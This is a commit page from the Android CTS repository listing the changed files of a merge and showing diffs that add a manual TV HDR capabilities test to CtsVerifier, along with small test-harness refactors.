summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorandroid-build-team Robot <android-build-team-robot@google.com>2019-11-11 21:23:45 +0000
committerandroid-build-team Robot <android-build-team-robot@google.com>2019-11-11 21:23:45 +0000
commit27bd218998591bde080d8b5a5772b7e1e1d050f9 (patch)
tree192e2303b4442b4b09937cdcc22f848265e027a2
parentc47d2c48a8208c77eb8bdb68e25d4c0f6ec92da3 (diff)
parent5672ebc987aba52ff3ffa5e324ff6a4801ba7c03 (diff)
downloadcts-android10-mainline-networking-release.tar.gz
Snap for 6001391 from 5672ebc987aba52ff3ffa5e324ff6a4801ba7c03 to qt-aml-networking-releaseandroid-mainline-10.0.0_r6android10-mainline-networking-release
Change-Id: I49ce841d32e8d5f0250bfafa4ee0e977f4c45c35
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml13
-rw-r--r--apps/CtsVerifier/assets/report/compatibility_result.xsl2
-rwxr-xr-xapps/CtsVerifier/res/values/strings.xml19
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java3
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java10
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java43
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java180
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java38
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java58
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java94
-rw-r--r--apps/CtsVerifierInstantApp/Android.bp (renamed from hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp)16
-rw-r--r--apps/CtsVerifierInstantApp/Android.mk32
-rw-r--r--apps/ForceStopHelperApp/Android.bp28
-rw-r--r--apps/ForceStopHelperApp/Android.mk35
-rw-r--r--hostsidetests/angle/AndroidTest.xml1
-rw-r--r--hostsidetests/apex/AndroidTest.xml1
-rw-r--r--hostsidetests/appsecurity/Android.bp4
-rw-r--r--hostsidetests/appsecurity/Android.mk2
-rw-r--r--hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java4
-rw-r--r--hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java4
-rw-r--r--hostsidetests/classloaders/useslibrary/AndroidTest.xml1
-rw-r--r--hostsidetests/content/Android.bp32
-rw-r--r--hostsidetests/content/Android.mk32
-rw-r--r--hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp38
-rw-r--r--hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk37
-rw-r--r--hostsidetests/cpptools/Android.mk16
-rw-r--r--hostsidetests/cpptools/AndroidTest.xml1
-rw-r--r--hostsidetests/cpptools/test-apps/Android.mk23
-rw-r--r--hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp37
-rw-r--r--hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk26
-rw-r--r--hostsidetests/deviceidle/AndroidTest.xml1
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java (renamed from hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java)37
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java44
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java44
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java48
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java60
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java56
-rw-r--r--hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java98
-rw-r--r--hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java15
-rw-r--r--hostsidetests/jdwpsecurity/AndroidTest.xml1
-rw-r--r--hostsidetests/jdwptunnel/AndroidTest.xml1
-rw-r--r--hostsidetests/monkey/AndroidTest.xml1
-rw-r--r--hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp28
-rw-r--r--hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk31
-rw-r--r--hostsidetests/security/src/android/cts/security/SELinuxHostTest.java22
-rw-r--r--hostsidetests/securitybulletin/AndroidTest.xml1
-rw-r--r--hostsidetests/securitybulletin/res/CVE-2018-9490.pac15
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java2
-rw-r--r--hostsidetests/signedconfig/Android.mk17
-rw-r--r--hostsidetests/signedconfig/app/Android.bp147
-rw-r--r--hostsidetests/signedconfig/app/Android.mk79
-rw-r--r--hostsidetests/signedconfig/hostside/Android.bp33
-rw-r--r--hostsidetests/signedconfig/hostside/Android.mk59
-rw-r--r--hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java2
-rw-r--r--hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java1
-rw-r--r--hostsidetests/sustainedperf/AndroidTest.xml1
-rw-r--r--hostsidetests/usb/AndroidTest.xml1
-rw-r--r--tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java18
-rw-r--r--tests/contentsuggestions/Android.bp34
-rw-r--r--tests/contentsuggestions/Android.mk41
-rw-r--r--tests/contentsuggestions/AndroidTest.xml1
-rw-r--r--tests/jdwp/AndroidTest.xml1
-rw-r--r--tests/mocking/AndroidTest.xml1
-rw-r--r--tests/mocking/debuggable/AndroidTest.xml1
-rw-r--r--tests/mocking/inline/AndroidTest.xml1
-rw-r--r--tests/signature/intent-check/AndroidTest.xml1
-rw-r--r--tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java15
-rw-r--r--tests/systemAppTest/prebuilts/readme.txt1
-rw-r--r--tests/systemAppTest/test/Android.mk35
-rw-r--r--tests/systemAppTest/test/AndroidManifest.xml20
-rw-r--r--tests/tests/animation/AndroidTest.xml1
-rw-r--r--tests/tests/background/AndroidTest.xml1
-rw-r--r--tests/tests/bionic/AndroidTest.xml1
-rw-r--r--tests/tests/colormode/AndroidTest.xml1
-rw-r--r--tests/tests/contactsproviderwipe/AndroidTest.xml1
-rw-r--r--tests/tests/database/AndroidTest.xml1
-rw-r--r--tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java6
-rw-r--r--tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml1
-rw-r--r--tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java2
-rw-r--r--tests/tests/packageinstaller/atomicinstall/AndroidTest.xml1
-rw-r--r--tests/tests/permission/src/android/permission/cts/TvPermissionTest.java7
-rw-r--r--tests/tests/renderscript/AndroidTest.xml1
-rw-r--r--tests/tests/renderscriptlegacy/AndroidTest.xml1
-rw-r--r--tests/tests/resolverservice/AndroidTest.xml1
-rw-r--r--tests/tests/secure_element/Android.mk16
-rw-r--r--tests/tests/secure_element/access_control/AccessControlApp1/Android.bp23
-rw-r--r--tests/tests/secure_element/access_control/AccessControlApp1/Android.mk37
-rw-r--r--tests/tests/secure_element/access_control/AccessControlApp2/Android.bp23
-rw-r--r--tests/tests/secure_element/access_control/AccessControlApp2/Android.mk37
-rw-r--r--tests/tests/secure_element/access_control/AccessControlApp3/Android.bp23
-rw-r--r--tests/tests/secure_element/access_control/AccessControlApp3/Android.mk37
-rw-r--r--tests/tests/secure_element/access_control/Android.mk20
-rw-r--r--tests/tests/secure_element/omapi/Android.bp34
-rw-r--r--tests/tests/secure_element/omapi/Android.mk40
-rw-r--r--tests/tests/security/Android.bp1
-rw-r--r--tests/tests/security/AndroidManifest.xml9
-rw-r--r--tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl24
-rw-r--r--tests/tests/security/jni/Android.bp22
-rw-r--r--tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c1911
-rw-r--r--tests/tests/security/res/raw/sig_com_android_conscrypt.binbin1496 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_media.binbin1488 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_media_swcodec.binbin1506 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_resolv.binbin1540 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_runtime_debug.binbin1492 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_runtime_release.binbin1492 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_android_tzdata.binbin1490 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_android_conscrypt.binbin1547 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_android_media.binbin1538 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_android_media_swcodec.binbin1554 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_android_resolv.binbin1540 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_android_runtime_debug.binbin1548 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_android_runtime_release.binbin1536 -> 0 bytes
-rw-r--r--tests/tests/security/res/raw/sig_com_google_android_tzdata.binbin1540 -> 0 bytes
-rw-r--r--tests/tests/security/src/android/security/cts/BinderExploitTest.java201
-rw-r--r--tests/tests/security/src/android/security/cts/IBinderExchange.java140
-rw-r--r--tests/tests/security/src/android/security/cts/PackageSignatureTest.java18
-rw-r--r--tests/tests/speech/AndroidTest.xml2
-rw-r--r--tests/tests/telecom/AndroidManifest.xml2
-rw-r--r--tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml3
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java34
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/TestUtils.java36
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java133
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java50
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java18
-rwxr-xr-xtests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java35
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java17
-rw-r--r--tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java15
-rw-r--r--tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java92
-rw-r--r--tests/tests/text/src/android/text/cts/StaticLayoutTest.java2
-rw-r--r--tests/tests/tools/processors/view_inspector/AndroidTest.xml1
-rw-r--r--tests/tests/uidisolation/AndroidTest.xml1
-rw-r--r--tests/tests/util/src/android/util/cts/HalfTest.java22
133 files changed, 3791 insertions, 1211 deletions
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 653d1debea4..882a01c596f 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -3181,6 +3181,17 @@
android:value="android.software.leanback" />
</activity>
+ <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
+ android:label="@string/tv_hdr_capabilities_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_tv" />
+ <meta-data android:name="test_required_features"
+ android:value="android.software.leanback" />
+ </activity>
+
<activity android:name=".screenpinning.ScreenPinningTestActivity"
android:label="@string/screen_pinning_test">
<intent-filter>
@@ -3330,7 +3341,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_audio" />
- <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.usb.host:android.hardware.audio.pro" />
</activity>
<!-- ProAudio test invokes the "Loopback" App -->
diff --git a/apps/CtsVerifier/assets/report/compatibility_result.xsl b/apps/CtsVerifier/assets/report/compatibility_result.xsl
index 1e9ec31f1d3..9dbeb512623 100644
--- a/apps/CtsVerifier/assets/report/compatibility_result.xsl
+++ b/apps/CtsVerifier/assets/report/compatibility_result.xsl
@@ -229,7 +229,7 @@
<td class="failuredetails">
<div class="details">
<xsl:choose>
- <xsl:when test="$fullStackTrace=true()">
+ <xsl:when test="$fullStackTrace=true() and Failure/StackTrace != ''">
<xsl:value-of select="Failure/StackTrace" />
</xsl:when>
<xsl:otherwise>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 9a93fbf77eb..bc6af271003 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -4330,6 +4330,25 @@ You should be prompted to select credentials; choose the ones you just installed
</string>
<string name="tv_microphone_device_test_no_input_devices">No input devices found.</string>
+ <!-- Common strings for the TV Display tests -->
+ <string name="tv_start_test">Start Test</string>
+
+ <!-- HDR Capabilities test -->
+ <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
+ <string name="tv_hdr_capabilities_test_info">This test checks if
+ Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
+ </string>
+ <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
+ press the "%s" button, below.
+ </string>
+ <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
+ the "%s" button, below.
+ </string>
+ <string name="tv_hdr_disconnect_display">Press the "%1$s" button
+ and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
+ reconnect the display.
+ </string>
+
<string name="overlay_view_text">Overlay View Dummy Text</string>
<string name="custom_rating">Example of input app specific custom rating.</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 7d3026a3fbc..a87e9d8075d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -129,7 +129,8 @@ class TestResultsReport {
}
currentTestResult.setResultStatus(resultStatus);
// TODO: report test details with Extended Device Info (EDI) or CTS metrics
- // String details = mAdapter.getTestDetails(i);
+ String details = mAdapter.getTestDetails(i);
+ currentTestResult.setMessage(details);
ReportLog reportLog = mAdapter.getReportLog(i);
if (reportLog != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
index 41ab6f785ed..4c6a2700710 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
@@ -37,7 +37,7 @@ public abstract class TvAppVerifierActivity extends PassFailButtons.Activity {
private ViewGroup mItemList;
private View mPostTarget;
- protected View getPostTarget() {
+ public View getPostTarget() {
return mPostTarget;
}
@@ -57,14 +57,14 @@ public abstract class TvAppVerifierActivity extends PassFailButtons.Activity {
getPassButton().setEnabled(false);
}
- protected void setButtonEnabled(View item, boolean enabled) {
+ public static void setButtonEnabled(View item, boolean enabled) {
View button = item.findViewById(R.id.user_action_button);
button.setFocusable(enabled);
button.setClickable(enabled);
button.setEnabled(enabled);
}
- protected void setPassState(View item, boolean passed) {
+ public static void setPassState(View item, boolean passed) {
ImageView status = (ImageView) item.findViewById(R.id.status);
status.setImageResource(passed ? R.drawable.fs_good : R.drawable.fs_error);
setButtonEnabled(item, false);
@@ -78,7 +78,7 @@ public abstract class TvAppVerifierActivity extends PassFailButtons.Activity {
/**
* Call this to create a test step where the user must perform some action.
*/
- protected View createUserItem(int instructionTextId, int buttonTextId, View.OnClickListener l) {
+ public View createUserItem(int instructionTextId, int buttonTextId, View.OnClickListener l) {
View item = mInflater.inflate(R.layout.tv_item, mItemList, false);
TextView instructions = (TextView) item.findViewById(R.id.instructions);
instructions.setText(instructionTextId);
@@ -93,7 +93,7 @@ public abstract class TvAppVerifierActivity extends PassFailButtons.Activity {
/**
* Call this to create a test step where the user must perform some action.
*/
- protected View createUserItem(CharSequence instructionCharSequence,
+ public View createUserItem(CharSequence instructionCharSequence,
int buttonTextId, View.OnClickListener l) {
View item = mInflater.inflate(R.layout.tv_item, mItemList, false);
TextView instructions = (TextView) item.findViewById(R.id.instructions);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java
new file mode 100644
index 00000000000..e3559e0e463
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/**
+ * Encapsulates the logic of an asynchronous test step, which displays a human instructions and a
+ * button to start the test. For synchronous steps see {@link TestStep}.
+ */
+public abstract class AsyncTestStep extends TestStepBase {
+
+ public AsyncTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ /**
+ * Runs the test logic, when finished sets the test status by calling
+ * {@link AsyncTestStep#doneWithPassingState(boolean)}.
+ */
+ public abstract void runTestAsync();
+
+ @Override
+ protected void onButtonClickRunTest() {
+ // Disable the button, so the user can't run it twice.
+ disableButton();
+ runTestAsync();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
new file mode 100644
index 00000000000..d38d127238f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.content.Context;
+import android.view.Display;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import java.time.Duration;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test to verify the HDR Capabilities API is correctly implemented.
+ *
+ * This test checks if
+ * <a href="https://developer.android.com/reference/android/view/Display.html#isHdr()">Display.isHdr()</a>
+ * and
+ * <a href="https://developer.android.com/reference/android/view/Display.html#getHdrCapabilities()">Display.getHdrCapabilities()</a>
+ * return correct results when 1. HDR Display is connected, 2. non-HDR
+ * Display is connected and 3. no display is connected.
+ */
+public class DisplayHdrCapabilitiesTestActivity extends TvAppVerifierActivity {
+ private static final @Display.HdrCapabilities.HdrType
+ int[] EXPECTED_SUPPORTED_HDR_TYPES_SORTED = {
+ Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
+ Display.HdrCapabilities.HDR_TYPE_HDR10,
+ Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
+ Display.HdrCapabilities.HDR_TYPE_HLG
+ };
+ private static final float MAX_EXPECTED_LUMINANCE = 10_000f;
+ private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
+
+ private TestSequence mTestSequence;
+
+ @Override
+ protected void setInfoResources() {
+ setInfoResources(R.string.tv_hdr_capabilities_test,
+ R.string.tv_hdr_capabilities_test_info, -1);
+ }
+
+ @Override
+ protected void createTestItems() {
+ List<TestStepBase> testSteps = new ArrayList<>();
+ testSteps.add(new NonHdrDisplayTestStep(this));
+ testSteps.add(new HdrDisplayTestStep(this));
+ testSteps.add(new NoDisplayTestStep(this));
+
+ mTestSequence = new TestSequence(this, testSteps);
+ mTestSequence.init();
+ }
+
+ private static boolean hasNoHdrSupportedTypes(Display display) {
+ return display.getHdrCapabilities() == null
+ || display.getHdrCapabilities().getSupportedHdrTypes().length == 0;
+ }
+
+ private static class NonHdrDisplayTestStep extends SyncTestStep {
+
+ public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(R.string.tv_hdr_connect_no_hdr_display,
+ mContext.getString(getButtonStringId()));
+ }
+
+ @Override
+ protected int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public boolean runTest() {
+ Display display = mContext.getWindowManager().getDefaultDisplay();
+ return !display.isHdr() && hasNoHdrSupportedTypes(display);
+ }
+ }
+
+ private static class HdrDisplayTestStep extends SyncTestStep {
+
+ public HdrDisplayTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(R.string.tv_hdr_connect_hdr_display,
+ mContext.getString(getButtonStringId()));
+ }
+
+ @Override
+ protected int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public boolean runTest() {
+ Display display = mContext.getWindowManager().getDefaultDisplay();
+ return display.isHdr()
+ && hasExpectedHdrSupportedTypes(display)
+ && hasSaneLuminanceValues(display);
+ }
+
+ private static boolean hasExpectedHdrSupportedTypes(Display display) {
+ Display.HdrCapabilities actualHdrCapabilities = display.getHdrCapabilities();
+ int[] actualSupportedHdrTypes = actualHdrCapabilities.getSupportedHdrTypes();
+ return Arrays.equals(EXPECTED_SUPPORTED_HDR_TYPES_SORTED, actualSupportedHdrTypes);
+ }
+
+ private static boolean hasSaneLuminanceValues(Display display) {
+ Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
+
+ float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
+ float maxAvgLuminance = hdrCapabilities.getDesiredMaxAverageLuminance();
+ float minLuminance = hdrCapabilities.getDesiredMinLuminance();
+
+ if(!(0f < maxLuminance && maxLuminance <= MAX_EXPECTED_LUMINANCE)) {
+ return false;
+ }
+
+ if(!(0f < maxAvgLuminance && maxAvgLuminance <= MAX_EXPECTED_LUMINANCE)) {
+ return false;
+ }
+
+ if (!(minLuminance < maxAvgLuminance && maxAvgLuminance <= maxLuminance)) {
+ return false;
+ }
+
+ return true;
+ }
+ }
+
+ private static class NoDisplayTestStep extends AsyncTestStep {
+ public NoDisplayTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(R.string.tv_hdr_disconnect_display,
+ mContext.getString(getButtonStringId()),
+ DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+ DISPLAY_DISCONNECT_WAIT_TIME_SECONDS+1);
+ }
+
+ @Override
+ protected int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public void runTestAsync() {
+ // Wait for the user to disconnect the display.
+ mContext.getPostTarget().postDelayed(() -> {
+ Display display = mContext.getWindowManager().getDefaultDisplay();
+ doneWithPassingState(!display.isHdr() && hasNoHdrSupportedTypes(display));
+ }, Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis());
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java
new file mode 100644
index 00000000000..1c12f0ed90e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.view.View;
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/**
+ * Encapsulates the logic of a synchronously running test step, which displays a human instructions
+ * and a button to start the test. For asynchronous steps see {@link AsyncTestStep}.
+ */
+public abstract class SyncTestStep extends TestStepBase {
+ public SyncTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ public abstract boolean runTest();
+
+ @Override
+ protected void onButtonClickRunTest() {
+ doneWithPassingState(runTest());
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
new file mode 100644
index 00000000000..093d3a24e9f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
@@ -0,0 +1,58 @@
+package com.android.cts.verifier.tv.display;
+
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import java.util.List;
+
+/**
+ * A sequence of {@link TestStepBase}s within a {@link TvAppVerifierActivity}, which are meant to be
+ * executed one after another. The whole sequence passes if all containing test steps pass.
+ */
+public class TestSequence {
+ private List<TestStepBase> steps;
+ private TvAppVerifierActivity context;
+
+ /**
+ * @param context The TvAppVerifierActivity containing this sequence.
+ * @param steps List of the steps contained in the sequence.
+ */
+ public TestSequence(TvAppVerifierActivity context, List<TestStepBase> steps) {
+ this.context = context;
+ this.steps = steps;
+ }
+
+ /**
+ * Initializes the steps in the sequence by creating their UI components, ensuring they can be
+ * executed only in the given order and properly enable the pass/fails buttons of the
+ * surrounding {@link TvAppVerifierActivity}. This method should be called in the
+ * createTestItems() method of the {@link TvAppVerifierActivity} which contains this sequence.
+ */
+ public void init() {
+ if (steps.isEmpty()) {
+ return;
+ }
+
+ // Initialize all containing test steps.
+ steps.stream().forEach(step -> step.createUiElements());
+
+ // After a step is completed we enable the button of the next step.
+ for (int i = 0; i < steps.size() - 1; i++) {
+ final int next = i + 1;
+ steps.get(i).setOnDoneListener(() -> steps.get(next).enableButton());
+ }
+
+ // When the last step is done, mark the sequence as done.
+ steps.get(steps.size() - 1)
+ .setOnDoneListener(() -> onAllStepsDone());
+
+ // Enable the button of the first test step so the user can start it.
+ steps.get(0).enableButton();
+ }
+
+ private void onAllStepsDone() {
+ // The sequence passes if all containing test steps pass.
+ boolean allTestStepsPass = steps.stream().allMatch(step -> step.hasPassed());
+ context.getPassButton().setEnabled(allTestStepsPass);
+ }
+} \ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
new file mode 100644
index 00000000000..4de7fff1355
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.view.View;
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/**
+ * Encapsulates the logic of a test step, which displays a human instructions and a button to start
+ * the test.
+ */
+public abstract class TestStepBase {
+ final protected TvAppVerifierActivity mContext;
+ private View mViewItem;
+ private boolean mHasPassed;
+ private Runnable mOnDoneListener;
+
+ /**
+ * Constructs a test step containing instruction to the user and a button.
+ *
+ * @param context The test activity which this test step is part of.
+ */
+ public TestStepBase(TvAppVerifierActivity context) {
+ this.mContext = context;
+ }
+
+ public boolean hasPassed() {
+ return mHasPassed;
+ }
+
+ /**
+ * Creates the View for this test step in the context {@link TvAppVerifierActivity}.
+ */
+ public void createUiElements() {
+ mViewItem = mContext.createUserItem(
+ getInstructionText(),
+ getButtonStringId(),
+ (View view) -> onButtonClickRunTest());
+ }
+
+ /**
+ * Enables the button of this test step.
+ */
+ public void enableButton() {
+ TvAppVerifierActivity.setButtonEnabled(mViewItem, true);
+ }
+
+ /**
+ * Disables the button of this test step.
+ */
+ public void disableButton() {
+ TvAppVerifierActivity.setButtonEnabled(mViewItem, false);
+ }
+
+ public void setOnDoneListener(Runnable listener) {
